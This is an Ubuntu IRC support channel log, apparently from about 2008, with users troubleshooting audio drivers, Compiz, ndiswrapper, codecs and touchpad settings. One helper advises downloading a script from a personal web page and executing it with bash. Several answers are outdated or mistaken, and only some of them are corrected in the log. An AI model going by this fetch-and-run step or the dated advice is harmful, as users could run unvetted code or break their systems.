mail when it comes in? postfix, courier, magic mail monkeys? [04:46] * zenobius enters bling mode [04:46] zenobius, hunchybunch : What animated wallpapers are you talking about? Got me curious [04:46] nickrud, how would i have two sites on this one server? [04:47] sayers: don't ask me, I helped with a packaging question, not an apache question. I can barely get modrewrite working without hand holding [04:47] marshall: in ccsm [ general -> desktop-size] [04:47] nickrud, :) okay well thanks then [04:47] proqesi mount /dev/cdrom or mount /dev/cdrom /media/cdrom (assuming /media/cdrom exists [04:47] marshall: i guess that should honour your workspace widget in gnome panel... [04:47] I have installed standard x86 on an AMD Athlon 64 4000+ but now wondering if I should have downloaded the 64bit version? [04:47] sayers: you might try #ubuntu-server [04:47] marshall: i mean it really should, but it doesnt [04:47] nickrud: I'm not sure alt+ctrl+backspace did what we wanted. tty1 shows 3 processes running compared to a huge list that ps -A showed when I ran it after just logging out. I think there is something really wrong going on with that box...like I said, the shutdown button no longer even loads the shutdown options screen. [04:47] le: no [04:47] <__mikem> Seriously, how do you download the alternate install CD? [04:47] dark__: I just said I did that and it didn't work [04:47] lusepuster, if you were to install elbuntu or geubuntu on ubuntu - you could find out :) E17 has a way of causing some eye candy animations on the wallpaper [04:48] Everything seems to work fine, accept that scp causes hard lockup. [04:48] In regards to your laptop statment, I have a Dell XP1210, ubuntu works like a dream, NOTHING doesnt work and it did it by default :) [04:48] has anyone come across the "Your audio capture settings are invalid. Please correct them in the Multimedia settings.' error when trying to use sound-recorder? [04:48] Scunizi; Tnx. [04:48] Oh, and exiting pdfedit leaves it sitting there eating CPU. [04:48] le np [04:48] Rev_Slid3r: lol me .. just about 5 minutes ago [04:48] But trying to scp a file cause hard lockup...? [04:48] hunchybunch, Ah, yep been playing w elive [04:48] ablyss: did you fix it? [04:48] zenobius: ok, i set my number of desktops to 4 [04:48] le sorry don't have an answer for hat one [04:48] Rev_Slid3r: so I loaded up VLC to do my audio capturing instead [04:48] proqesi if its playing in VLC then it is mounted [04:49] oh [04:49] hunchybunch, yeah those distros look beautiful [04:49] OH [04:49] sp0ro1: sounds like it. Try creating a new user and logging into that one, see if it works ok [04:49] I could live with that I think [04:49] How can I bind my g15 keys in WoW in WINE? I've tried xbindkeys and xvkbd to send ctrl-f1, ctrl-f2, etc, but the problem with that is it seems to cause WoW to lose focus for an instant, which releases the camera if i'm dragging it with my mouse. this is incredibly annoying and makes it impossible to control properly. [04:49] lusepuster: check out http://www.youtube.com/watch?v=ZovBpvhZbZM [04:49] I wonder if it will do it if I turn off the Xserver? [04:49] dark__: I tried it both before and after starting vlc [04:49] zenobius: but i still only have one other desktop when i ctrl+alt+right [04:49] I think I'll try. [04:49] and see [04:49] !broadcom 4311 [04:49] Sorry, I don't know anything about broadcom 4311 - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [04:49] !broadcom [04:49] Help with Broadcom bcm43xx can be found at https://wiki.ubuntu.com/WifiDocs/Driver/Broadcom43xx [04:49] nickrud: Will do [04:49] Rev_Slid3r: I don't ever use it so didn't really investigate it [04:49] * nickrud thinks it's a real waste of time, running games in wine [04:49] lusepuster, ive tried elive too - the stable distro is quite old though :P [04:50] lusepuster: and this one http://www.youtube.com/watch?v=10kg2aSB8q4 [04:50] proqesi but its playing in VLC? [04:50] nickrud: why do you think that? they work pretty good [04:50] dark__: yes, it plays in vlc [04:50] hunchybunch, yep I'm aware of that... But tried playing w enlightenment, that's the point :) [04:50] zenobius, thanks! [04:50] proqesi: when I want to game, I want to game not tweak an alpha piece of software [04:50] marshall: does it cube when switching workspaces? [04:50] wtf, my Thinkpad keys have stopped working [04:50] http://rafb.net/p/gInqVk60.html why has my printing stopped working? and why can't I install cupsys? [04:50] proqesi: and 'pretty good' is not the same as 'how the game was intended' [04:51] proqesi well if its playing, then it is mounted, it should be mounted under /media/CDROM [04:51] I used to have "ThinkVantage" key bound to open a terminal window, but its stopped working [04:51] dark__: nope, nothing is in there or cdrom0 [04:51] I cant even get the key to register in xbindkeys -k or xev [04:51] zenobius: i think it would if there were more than two sides to the "cube" [04:51] lusepuster, they are going to make more and more stuff for it, but right now you have to use alot of stuff that isn't E17 to get things done.. [04:51] zenobius: but its like flipping over a piece of paper atm [04:51] !info scankeys | Slyboots [04:51] slyboots: Package scankeys does not exist in gutsy [04:52] Slyboots: herm, I'll find that package [04:52] what does scankeys do? [04:52] Show what the keys scancode is on press? [04:52] is dualview with an ATI chipset possible? [04:52] marshall: ahh piece of paper.... [04:52] proqesi do a "mount" command in console and see what it says [04:52] marshall: love that. one sec [04:53] Slyboots: that was supposed to be showkey , it shows the raw key data. Then you use setkeycodes , which sets up a code that xev can see [04:53] lusepuster, my point is with that is it makes it heavy - heavier than ubuntu even because of all the mixing of apps [04:53] hunchybunch, ...which is what has kept me off it on an everyday basis :-) I have a friend that installed it as his first distro though - that is what I call courage! [04:53] marshall: also im using amaranths compiz, not the one in feisty repos [04:53] I have installed the restricted extras and VLC and I can't play my avi movies...tried mplayer kmplayer and totem, I get the sound but the videos all I get is some colorfull vertical lines....HELP? [04:53] marshall: try going into CompizConfig Settings Manager. Select general options, then select the desktop size tab. There's an option for horizontal virtual size. Set it to 4. [04:53] zenobius: ok, im using gutsy and i think i got this from the repos [04:53] nickrud: Alright, there is definately something wrong with the GNOME Settings Daemon. A screen just popped up telling me so once I logged onto the new user. :P [04:53] hunchybunch, I never thought of that part [04:53] dark__: it's not listed in mount [04:53] gallon_: ok [04:53] hdxSfBr: have you search the ubuntu wiki or the help.ubuntu.com/community site first? [04:54] sp0ro1: did you kill it when you were logged out? [04:54] well thats what xev and xbindkeys -k should do [04:54] marshall: ok tings might be diff, most proly will be [04:54] But they dont seem to realise that I am even pressking a key [04:54] sp0ro1: log out of all users, then killall gnome-settings-daemon [04:54] nickrud: Not to my knowledge, I will now though if you want. [04:54] nickrud: Ok [04:54] zenobius: ok, i got it working, thanks [04:54] ;) [04:54] sp0ro1: it would have been one of the things you killed if you did my earlier suggestion [04:54] if they built the os framework with the efiles, it would be a nice os environment [04:54] gallon_: thanks, it worked [04:54] ok, how do I get a program to start automatically using system>preferences>sessions.... when I dont know where to find the program I want to add? the program is wallpapoz by the way. [04:55] marshall: glad i could help [04:55] how can i set the DHCP to forward internet to a GNUbox enabled smartphone? [04:55] proqesi yeh no just checked my own and its not there either. The thing is though, if VLC is playing the CD then it has been mounted somewhere. check /etc/fstab and see if you can find the mount point in there [04:55] when i go to the ip address of my ubuntu machine running apache2, i get a dir listing showing apache2-default instead of the test page. [04:55] I cant even get showkey ot start, throws up an error about.. not finding a file descriptor reffering to this console" [04:55] heatmzzr: in a terminal, type which wallpapoz [04:55] Whatever the hell that means [04:55] marshall: i just love how its a live view in expo and expose mode [04:55] ive looked at this prettu close, but do not see what is wring [04:55] heatmzzr, which program [04:55] hunchybunch, yep It's brilliant at what it does, but it doesn't do enough [04:55] marshall: if you have expo plugin default to use it is windowsKey+e [04:55] is the ubuntu-restricted-extras package all i need for full media support? [04:55] nickrud: Only processes I killed that were running were gnome-vfs-daemon and gconfd-2 [04:55] http://rafb.net/p/gInqVk60.html ln: accessing `/usr/lib/cups/backend-available/ipp': No such file or directory -- how can I get cupsys working? [04:55] dark__: I did what you said to proqesi, and the drive's mounted [04:55] hunchybunch, gtk apps also don't blend in very elegantly, though there are e17 gtk themes [04:56] hdxSfBr: any luck on those websites? [04:56] sp0ro1: gnome-settings-daemon wasn't running when you logged out? That's good, but how about now when you log in? === gallon_ is now known as gallon|afk [04:56] nickrud: I don't know, even the tty's are stalling now. :( [04:56] hdxSfBr: are you using gutsy or feisty? [04:56] zenobius: i searched for it and i did what they said w/ no luck... [04:56] nickrud: I have to reboot that box real quick, hold on. [04:57] sp0ro1: I gotta go, be back in an hour or so [04:57] zenobius: maybe i installed too much stuff.... [04:57] nickrud: kk thank you for your help. [04:57] dark__: fstab has the mount point as /media/cdrom0, but I get an error "mount: wrong fs type, bad option, bad superblock on /dev/scd0" when I try to mount [04:57] is ubuntu-restricted-extras all i need for media support or should i do it manually through livna? [04:57] zenobius: i sux i can the a pic of the movie on the icon but cant play it.... [04:57] hdxSfBr: maybe, some stuff will conflict/override others...they really should bring up warnings when it does so [04:58] hdxSfBr: are you using compiz? [04:58] zenobius: no whats that? [04:58] hdxSfBr: ie do you have shadows under your windows, or do your windows wobble when dragged, or when you change workspaces does it turn into a 3d cube and spin? [04:59] lusepuster, yea, geubuntu just doesn't look right, even though there is some nice artwork in it. [04:59] hdxSfBr: what happnes when you press f8 or f9 [04:59] geubuntu [04:59] dark__: ok well maybe I wil try to get a cd ripper to grab the files instead. thanks for trying :) [04:59] wrong text field [04:59] has anybody seen wget hang at "passv" [04:59] Zenobius: The cube rules. [05:00] the scale function is gangster too [05:00] danloz: yes, I've seen a few network apps hang when they try passive mode [05:00] hello , i have used the terminal yesterday and navigated to the desktop , now when i came back today the terminal was still on desktop , how do i navigate to another place ? [05:00] zenobius: the windows wobble, nothing happnes with f8 or 9 [05:00] zenobius: whats the difference between expo and expose? [05:00] hdxSfBr: if your running compiz as your window manager thjen it will be most likley interferring with video playback [05:00] Proqesi: Does that mean the address is shot? Or try again later? [05:01] hdxSfBr: ok you need to either : get the videoplayback plugin(worthless in my poinion) or use metacity instead of compiz [05:01] lusepuster, were you planning or have you installed this geubuntu? [05:01] humm, is this a package under the synaptic manager? [05:01] I'm trying to download the broadcom driver. I heard if you manage to get a broad com wireless card working, cannonical sends you a pin. [05:01] danloz: if you can tell it not to try passive mode, it should work [05:01] hdxSfBr: first, are you using gnome or kde ? [05:01] coz_, no. I'm happy with my Gnome Ubuntu (that I have themed quite heavily) [05:01] danloz, really? I had a buch of them working. What's the pin for. [05:02] zenobius: gnome [05:02] lusepuster, oh just wondering [05:02] hdxSfBr: press alt+f2 -> type metacity --replace [05:02] Cabrioleur: They don't really send you a pin. But for the pain in the testicles that it is (especially for my n000b self) they ought send me a pin. [05:02] hdxSfBr: screen will flickr and you will have a simplier window manager taing control of your apps [05:02] danloz: i think when you read it, it was a typo, more like a pin(g) [05:02] coz_, no someone just got me curious talking of animated wallpapers, thought there might be some Compiz stuff going on or something [05:02] ;) [05:03] LOL. [05:03] lusepuster: its all e17 themselves [05:03] lusepuster, well no not with e17 running tht is a window manager so compiz fusion cannot be running along with that [05:03] lusepuster: no xcompmgr or other projects.... [05:03] what is a good allaround player? [05:03] coz_, zenobius I know that, but I wasn't aware you were talking about e17 when I asked first time :) [05:03] hdxSfBr, you might have to remove emerald also if youve installed it. [05:03] thanks all, (forgot your names) for the help [05:03] tried to install mplayer won't play movies [05:04] lusepuster: aye [05:04] zenobius: done... still wont play the dam movie [05:04] zenobius, coz_ I ran elive for the first time some 2 years ago :) [05:04] Pirate-King, why? [05:04] lusepuster, well I just heard about this geubuntu as you were talking and took a look at the homepage and noticed e17 running on that :) [05:04] zenobius: isthere a way to un-install back to the default? [05:04] get an error [05:04] Pirate-King, give me an error, that's a valuable info. [05:05] anyone here know what the command is to get a list of channels on freenode-connect? [05:05] hdxSfBr: try running it with totem, see if it grabs the codecs, waht is the movie type? [05:05] hrm. cdparanoia seems to read the cd ok as well [05:05] ok [05:05] when i run cat /proc/asound/card0/codec#* | grep Codec I get the following responsecat: /proc/asound/card0/codec#*: No such file or directory [05:05] any suggestions [05:05] fismoll8: can you not /list ? [05:05] Pirate-King: dont paste it all here, use pastebin [05:06] drgonzo00000, I would suggest that is the wrong command I get the same error [05:06] drgonzo00000, you are sure there is a # at the end? [05:06] Pirate-King: and post he url to the page here instead [05:06] coz_, yep it's a nice project to make an enlightenment-based dist - but, as mentioned before, it's just not complete enough yet IMHO [05:06] zenobius: avi, I have the totem package selected on the synaptic manager but cant find the program itself, the codect is mped-1 [05:06] i'm not sure [05:06] lusepuster, oh! ok I may look into this a bit but it doesnt sound impressinve enough to swtich :) [05:06] zenobius: sorry man i'm a lammer [05:06] just trying to get my sound card working [05:07] drgonzo00000, which sound card? [05:07] erro opening/initializing the selected video_out (-vo)device [05:07] So is there like a sper uninstall program for ndiswrapper? [05:07] drgonzo00000: on my machine it's /proc/asound/card0/codec97\#0/ac97\#0-0 - but why do you need to do that? [05:07] hdxSfBr: if you run totem on a fresh install and load video files up, it should load up synaptics(lite) and grab the required ones for thatvideo [05:07] coz_, it's more like traditional Ubuntu w a costum e17 as default desktop, with some nice themes [05:07] a realtek hd audio that is integrated to my motherboard [05:07] Pirate-King, it's easy. Open gmplayer, go to configuration, video, and change to xv [05:07] lusepuster, oh! ok [05:07] the azalia one [05:07] coz_, it is possible to install it on ubuntu though - right along with ubuntu. [05:08] realtek works great in ubuntu [05:08] not for me unfortunately [05:08] hunchybunch, coz_ yep but I wasn't impressed with that implementation as compared to even an older elive CD [05:08] i tried installing the new drivers and everything [05:08] now gnome_screensaver_control() [05:08] both my system are realtek and it works out of the box [05:08] drgonzo00000, did you check in alsamixer to see that nothing is muted? [05:09] zenobius: am i supposed to see totem in the applications==>sound&video? [05:09] Pirate-King, it should play with this warning. [05:09] when i click on alsa mixer it tells me that there is no sound device [05:09] hmmm [05:09] zenobius: by default, yes. It's Movie Player. [05:09] drgonzo00000, no open a terminal and type alsamixer [05:09] zenobius: given i installed the package? [05:09] zenobius: sorry [05:09] drgonzo00000, it will show you if it recognizes the card by naming it [05:09] hdxSfBr: by default, yes. It's Movie Player. [05:09] hdxSfBr: its supposed to be installed already by deafualt [05:09] lusepuster, elive is really cool, it's just with my ati card - i couldn't get tvout working well enough with that old of kernel, or i probably would have kept it on. [05:10] anyone know how to make the fonts look ok in OOo and KOffice in 64bit Gutsy [05:10] alsamixer: function snd_ctl_open failed for default: No such device [05:10] hdxSfBr: if you open totem, then use it to open your video, it should grab the required codecs [05:10] I have no antialiasing at all it looks absolutely terrible [05:10] hunchybunch, isn't e17 still kind of... unstable? Anyway, I don't like eiffel. [05:10] now fatal: Could not initialize video filters (-vf) or video output (-vo) [05:10] crimsum: humm so totem is the default movie player [05:10] drgonzo00000, ok let me see if i can find any links that talk about this sound card and problems [05:10] hdxSfBr: otherwise investigate the usage of mediubuntu repositories [05:11] is 640x480 4:3? [05:11] thanks coz_ i appreciate it [05:11] hdxSfBr: it's "crimsun", and, yes. [05:11] Pirate-King, if you changed it to xv and it doesn't work, change it to opengl or xvid. [05:11] javatexan: could be. is 480 3/4 of 640? [05:11] drgonzo00000, go to http://pastebin.ca and paste the contents of lsmod from the terminal then hit submit button and paste the link it gives you here === billy1 is now known as scuizi [05:12] ok [05:12] crimsum: yeah it opens i get the the sound but only some crazy vertical graphics... [05:12] hdxSfBr: http://www.medibuntu.org/ [05:12] crimsum: no error message [05:13] cabrioleur, i thought it was stable enough, it just wasn't that complete, and just a mess of different apps that didn't seem to work that well together [05:13] http://paste.ubuntu-nl.org/51742/ [05:13] nope tried open gl and xvid [05:13] anyone know how to make the fonts look ok in OOo and KOffice in 64bit Gutsy, I have no antialiasing [05:13] no go [05:13] Here's something odd: [05:13] I just put my iAudio in MTP mode, and yet the usb-storage driver still grabs it (and works!). [05:14] DanaG: i thought that's the way mtp mode was suppose to work [05:14] alright, I'm about to try this wifi stuff. ubotu's docs are outdated [05:14] Paladine: I can point you a little in the right direction, but I don't use koffice or openoffice. xft libs can make them have antialiasing/hinting [05:14] the future of america, right here, right now. [05:14] http://opinion.latimes.com/bitplayer/2008/01/gadget-of-the-d.html [05:14] !ot [05:14] #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome! [05:14] :P [05:14] i'll try the medibuntu thing ehhehehe Thanx crimsun and zenobius for the patience [05:14] Pirate-King, xv should work, and work well - did you install all the restricted extras and wcodecs? [05:14] FYI: fyi ubutu docs are always out of date. mostly [05:15] I think so [05:15] !op me [05:15] Sorry, I don't know anything about op me - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [05:15] coz_: http://paste.ubuntu-nl.org/51742/ [05:15] !op me wanker [05:15] Sorry, I don't know anything about op me wanker - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [05:15] totem plays it [05:15] I have libxft2 already installed [05:15] I've never used MTP, so I don't have a clue how it's used. [05:15] darkkith: I don't see why anyone would ever buy such a thing. But it may just be me :/ [05:15] drgonzo00000, ok looking hold on [05:15] darkkith, I was just playing :D [05:15] fonts are rendering fine in everything apart from OOo and KOffice [05:15] (wow, that was a bit redundant-ish.) [05:15] drgonzo00000, is this gutsy? [05:15] coz_:yes [05:15] and I am trying to write a paper, but the font is so bad it makes it difficult to read what I am typing [05:16] 7.1 32 bit edition [05:16] come on, who doesn't want to be jammin to some tunes when you're lookin to taze [05:16] that just gets me hot [05:16] Anyone have experience getting the Broadcom 43xx cards to work on Gutsy :)? [05:16] someone ban him plz [05:16] drgonzo00000, ok unfortunaltey for some reason gutsy doesnt support this card it needs a newer alsa driver but I have a link I believe for you to read hold on [05:16] darkkith: don't abuse the !ops trigger [05:16] drgonzo00000, ok I believe this is the link http://ubuntuforums.org/showthread.php?t=551615 [05:16] !touchpad > FYI [05:17] I love ubotu's syntax :) [05:17] FYI: I have never had a problem with the restricted drivers manager getting it to work [05:17] Everything is a file, including a person. === Jannax is now known as Jannita [05:17] stdin: fortunately he missed it [05:17] FYI, did that touchpad command work? [05:17] lusepuster: yes, it did [05:17] lusepuster: I had it send me the link in a PM [05:17] proqesi: and that's the only reason he's still here [05:18] FYI, I have been wondering about some TP-related questions, so... thx! [05:18] !touchpad > lusepuster [05:18] * DanaG loves using touchpad. [05:18] man this is really bad, I can't work with fonts like this [05:18] Viva la two-finger-scrolling! [05:18] DanaG, how do you get that working? [05:18] I am trying to disable tapping :|... the sensitivity is weird [05:18] drgonzo00000, I think , if you are not used to compiling, that that link may be a pain but it may also solve your problem if confused just read through it carefully and if you need further help I would suggest going to #alsa I am sure someone there can lend a hand in compiling this new driver [05:19] that was easy enough, onto WiFi [05:19] how do I enable compiz in my xorg.conf file there is some kind of composite thing missing at the end? [05:19] Hmm, easiest way: install 'gsynaptics' and add the following line to the Synaptics section of Xorg.conf: [05:19] I installed the codecs but the restricted extras not sure [05:19] can somebody tell me how I can remove the 'salmon or pink' color at startup with Gutsy ? [05:19] Option "SHMConfig" "on" [05:19] johnficca, which video card? [05:19] DanaG, I've been wanting that for years! [05:19] how do I install them [05:19] how do i shut down alsa? and i mean like the most likey to work way. it's doing it's lockup and refuse to shutdown even when given seg fault etc signals thing it does ever so often. [05:19] Oh wait, that's for part of it. [05:20] Hold on, let me find my xorg.conf. [05:20] DanaG, aye... apparently there's a GUI now [05:20] just do: sudo apt-get install gsynaptics [05:20] http://users.csc.calpoly.edu/~dgoyette/ [05:20] then system> preferences > touchpad [05:20] Look at my xorg.conf, but don't copy it verbatim. [05:20] johnficca, which video card are you using? [05:20] DanaG, no I won't do that... [05:20] I have 1-finger-tap=nothing 2-finger-tap=middle 3-finger-tap=right. [05:20] johnficca, also you may want to go to #compiz-fusion for this [05:20] Alright. How do I completely uninstall Ndiswrapper? [05:20] Ashfire908: a segfault isn't a signal, but a program crashing [05:21] #2: When I reinstall NDISwrapper [05:21] coz_: my video card is ati radeon x600 [05:21] Anyone have experience with Broadcom 43xx cards on Gutsy? [05:21] danloz, normal way + remove links in modprobe.d [05:21] AutoMatriX, i changed mine to black yesterday, I can't remember the file i changed though :P lemme look real quick [05:21] FYI: that's what I'm doing right now. [05:21] FYI, sure: ndiswrapper [05:21] FYI: Prepare to hate your life and rue the day. [05:21] FYI: I have never had a problem with the restricted drivers manager getting bcm43xx to work [05:21] johnficca, ok then I would suggest #compiz-fusion and talk with adamk or crdlb about ati situations adamk is not online at the moment but I believe crdlb is [05:22] danloz, why, it's eaaaaasy. [05:22] Cabrioleur: As a complete n00b, I don't know what the normal way is. [05:22] danloz: i know, this is my 4th "fresh" install of ubuntu in 2 days... following random instructions on the internet is NOT a good idea :). So I came here for more details :) [05:22] FYI: Welcome to my club [05:22] danloz, why do you want to uninstall ndiswrapper? [05:22] 2 fresh installs, one laptop bricking. [05:22] danloz, instead, use ndiswrapper -r option. [05:22] coz_: I think I found it is it this that I needed "Section "Extensions" Option "Composite" "Enable" EndSection" [05:23] drgonzo00000: please pastebin the output from `lspci -nv` [05:23] johnficca, ok cool! :) [05:23] drgonzo00000: afterward, tell me the url [05:23] Cabrioleur: I've followed random interwebz instructions and I've completely fragged it. It doesn't work. Sudo apt-get blah-common doesn't do anything, ndiswrapper -whatever says it's never seen it before [05:23] danloz, what is your laptop model? [05:23] And the restricted driver makes my computer slow down. [05:23] I let a friend ssh into my pc [05:24] and he said that the Colonial generates a lot of messages because of that firmware [05:24] danloz, wow, then dpkg -r ndiswrapper [05:24] FYI: F730us. [05:24] Oh yeah, rightedge sets where the vscroll boundary is. [05:24] danloz: that's one of the reasons those drivers are restricted [05:24] danloz: F572us here :D [05:24] danloz, as root/sudo [05:24] Find that through trial and error by doing the following when in X: [05:24] The Colonel dpkg -r ndiswrapper [05:24] proqesi: erm core thing [05:24] AutoMatriX, you can change that color in sudo gedit /etc/gdm/PreSession/Default [05:24] synclient RightEdge=5950 [05:25] and try scrolling with the edge. If it doesn't work, or the edge is too far left, decrease or increase the value, respectively, and try again. [05:25] DanaG, what are those 'tapbutton1' etc about? [05:25] danloz, actually, dpkg --purge ndiswrapper would be better I think. [05:25] hunchybunch, thanks, going to have a look at it now ;) [05:25] anyone know anything about drivers? [05:25] That's my magic multi-finger tapping. [05:25] I have 1-finger-tap=nothing 2-finger-tap=middle 3-finger-tap=right. [05:25] nik_, sure, I merried one. [05:25] !anyone | nik_ [05:26] Cabrioleur: that bash thing says it's not installed [05:26] nik_: A large amount of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? [05:26] but it is [05:26] hola [05:26] hola [05:26] danloz, did you install from sources? [05:26] AutoMatriX, change this line to 0's like this BACKCOLOR="#000000" [05:26] cabrioleur: hehheh [05:26] That sounds like a process that is far beyond my level [05:26] (Who needs OS "Ten, not X"? I don't... even though it works surprisingly well on my non-Apple hardware.) [05:26] proqesi: huh? [05:26] alguien habla español¿? [05:27] !spanish [05:27] Si busca ayuda en español por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, allí obtendrá más ayuda. [05:27] si [05:27] Try GraphicalThemedColor=#404040 [05:27] danloz, how did you install ndiswrapper, with apt-get or "make install" way? [05:27] hola [05:27] se habla espanol [05:27] how do i shutdown alsa? [05:27] hola john_ [05:27] !japanese [05:27] 日本語の場合は #ubuntu-jp または #kubuntu-jp を参照して下さい [05:27] DanaG: not me :) [05:27] That makes it a dark grey, which is less disconcerting than a black that'd make you think "OMG, something's broken!" [05:27] de donde es [05:27] AutoMatriX, it's at the end of the file under if [ "x$BACKCOLOR" = "x" ]; then [05:27] its ok [05:27] in /etc/gdm/gdm.conf-custom [05:27] i need english neways [05:27] john_: de santo domingo, republica dominicana [05:28] huy lejos [05:28] Cabrioleur: First through the package manager and then then I tried it through make install - screwed up finally with apt get. [05:28] So yes, [05:28] [greeter] GraphicalThemedColor=#404040 BackgroundColor=#404040 (replace big spaces with line breaks) [05:28] john_: y tu de donde? [05:28] Ashfire908: get the process id and use the kill command to quit it. make sure you read the kill manpage first, and be *careful* [05:28] colombia [05:28] I need help trying to figure out what kind of sound card i have [05:28] danloz, go to the directory from which you did make install and type "sudo make uninstall" [05:28] DanaG, ah sure, yeah I tried it once but found it too unstable/unpredictable [05:28] que version de ubuntu tienes [05:28] is there a commandline frontend for things like: cat /var/lib/dpkg/info/PACKAGENAME.{pre,post}inst ? [05:29] john_: ta un poco lejos tambien :P [05:29] proqesi: i can't find the process [05:29] I think the 2-finger scrolling has been fixed recently. [05:29] john_: gutsy gibbon [05:29] In fact, now I can't 2-finger middle-drag, since it ALWAYS scrolls if you drag two fingers. [05:29] supongo que la 7.10 [05:29] john_: si [05:29] john_: y tu? [05:29] nik_: lspci should tell you [05:29] oye eres hombre o mujer [05:29] yo tengo [05:29] !es [05:29] Si busca ayuda en español por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, allí obtendrá más ayuda. [05:29] 7.04 [05:29] Ashfire908: then maybe you don't have an alsa process running [05:29] I tried already tritium [05:30] proqesi: do i type lspci in terminal? [05:30] 7.04 feisty [05:30] which among the stage1.5 would be used if am my / filesystem is ext3 ? [05:30] captaincrunch, john_: English, please [05:30] john_: la mujere no andan por estos predios :P, tan en la dicoteca o en otro tipo de chat :) [05:30] has anyone tried Avant window navigator [05:30] DanaG, I need only edit the two TwoFingerScroll options into my Xorg.comf, right? [05:30] phoul, yes [05:30] una pregunta [05:30] how does alsa work is alsa has no process? [05:30] Yeah. [05:30] nik_: yes [05:30] Is it worth installing? [05:30] hunchybunch, thanks, again ;) [05:30] phoul: i would if i didn't have to build it for Gutsy [05:30] which among the stage1.5 would be used if my / filesystem is ext3 ? [05:30] me pudes ayudar? [05:30] proqesi: 00:14.2 Audio device: ATI Technologies Inc SB450 HDA Audio (rev 01) [05:30] Also watch out for horizontal scrolling in Firefox. [05:31] proqesi: what do you make of that? [05:31] How hard would it be to build it for gutsy?... [05:31] john_: no tengo mucha experiencia, pero dime a ver [05:31] anybody help me mplayer wont play dvd movie [05:31] Cabrioleur: looks like I'm getting somewhere [05:31] getting error [05:31] FYI: did you try the "no fluff" method yet? [05:31] phoul: too much effort for me, i'd want to package it up and i can't be bothered [05:31] FYI: thanks [05:31] nik_: looks like you have an ATI SB450 HDA sound card [05:31] mosno, okay... i mean just the ol config make make install method ;) [05:32] Pirate-King, I know the problem. I'm using Ogle for DVD's, it's old and ugly byt does the job better than any other player I've seen [05:32] phoul: probably easy [05:32] ok [05:32] proqesi: if i go to the website will the windows driver work on gutsy? [05:32] phoul: you could spend 5 minutes learning pbuilder and backport the Hardy version, I GUESS [05:32] danloz: what is tthat? [05:32] I need aplayer that will play lots of formats [05:32] nik_: install linux-backports-modules-$(uname -r) [05:32] Ashfire908: what precisely are you attempting to accomplish? [05:33] i just wanna try it out... [05:33] horizontal scroll in Firefox defaults to being 'back' and 'forward'. [05:33] Pirate-King, mplayer does play a lot of them, try "mplayer -vo xv filename" [05:33] nik_: not sure. I always use the linux drivers [05:33] Pirate-King, VLC is a good one, chews its way through more players than I've seen elsewhere [05:33] And if you set it to be scrolling, then thumb buttons on external mice, which map to hscroll, won't work. [05:33] Is WICD available in any repos? [05:33] phoul: there's some random guide on the web [05:33] which among the stage1.5 would be used if my / filesystem is ext3 ? am getting an error Grub 15 [05:33] phoul: google it [05:33] FYI: Pvt me. [05:33] can someone help with debugging why my X crashes? [05:33] can you have dual view on an ATI based laptop with 3D acceleration? [05:33] Pirate-King, but I still prefer Ogle for DVDs [05:33] proqesi: how do i install that, im fairly new to linux [05:34] Maybe we can combine our n00bishness. [05:34] what is the best aspect ratio to convert dvd's to for streaming them to my ps3? I have a HDTV [05:34] i have a "Silicon Integrated Systems [SiS] AC'97 Sound Controller (rev a0)" but for some reason sound isnt working... no mixer... any ideas? [05:34] For mkv with arbitrarily-positioned subtitles, mplayer ⋙ vlc. [05:34] VLC just piles them up at the bottom. [05:34] mark__ are modules in place? can you see something when you cat /dev/sndstat? [05:34] mark__: download http://trilug.org/~crimsun/alsa-info.sh and execute it using bash [05:35] nik_: oddly enough, someone posted about the same card as you have on ubuntu forums [05:35] cabrioleur: yes i can [05:35] proqesi: which card? [05:35] http://kde.pastey.net/80614 [05:35] proqesi: sorry i didnt even think to check on forums [05:35] nik_: http://ubuntuforums.org/archive/index.php/t-619310.html [05:36] mark__, tried alsamixer? [05:36] proqesi: thanks [05:36] crimsun: ATI SB450 HDA sound card [05:36] cabrioleur: no such device. [05:36] crimsun: shut down alsa. any of the alsa programs (amixer, aplay) that attempts to run hangs and refuses to stop even when sent kill signals. [05:36] http://pastebin.ca/852947 alsainfo output [05:36] proqesi: that's not a card, that's a family. Is there any more information? [05:37] wait a minute. [05:37] doing sudo alsamixer works [05:37] but alsamixer as user doesnt [05:37] mark__: make sure your user is in the audio group. [05:37] !grub [05:37] grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto [05:37] mark__: not root. I mean your unprivileged user. [05:37] crimsun: 00:14.2 Audio device: ATI Technologies Inc SB450 HDA Audio (rev 01) [05:37] crimsun: ok, let me check [05:37] Also, beware of sudo'ing GUI apps. (is there an Ubotu factoid for that?) [05:37] http://pastebin.ca/852949 [05:38] proqesi: SB450 is a family. I need the specific subdevice and subvendor (from `lspci -nv`). [05:38] could you check that [05:38] where do i find wine [05:38] i installed it but cant find it in menus [05:38] nik_: try that ^^ [05:38] my user is in the audio group [05:38] but still no effect [05:39] luchador|bbl: wine will run exe files when clicked. you don't really run wine just any exe file [05:39] mark__: please pastebin the command that you executed to verify that your unprivileged user is in the audio group. [05:39] oh [05:39] crimsun: i checked /etc/group :-p [05:39] mark__: did you just recently add it? [05:40] luchador|bbl: right click *.exe and select run with wine [05:40] aye [05:40] hunchybunch, I think I made a mistake somewher :( [05:40] hang on i have an idea [05:40] mark__: log out and back in. [05:40] brb [05:41] tring to get mplayer to play dvd's could someone check this out for me http://pastebin.ca/852949 [05:41] how to configure apache guys? [05:41] Pirate-King, substitute filename with your video file :-) [05:41] ok [05:41] ok i got it working [05:42] for some reason none of the groups for this user were set properly [05:42] thanks [05:42] prepare for a n00b question - If i mkdir ~/blah Where will I find the blah folder? [05:42] danloz: /home [05:42] danloz: ~ is your home folder [05:42] abdulla, I don't like it but you have to read documentation. It's not a hey I'm done kind of things. [05:42] Jack_Sparrow: Thank you. [05:42] abdulla: edit your /etc/httpd/httpd.conf file. ask any further questions on #apache [05:42] Ashfire: thank you. [05:43] Jack_Sparrow: /home != his home directory [05:43] 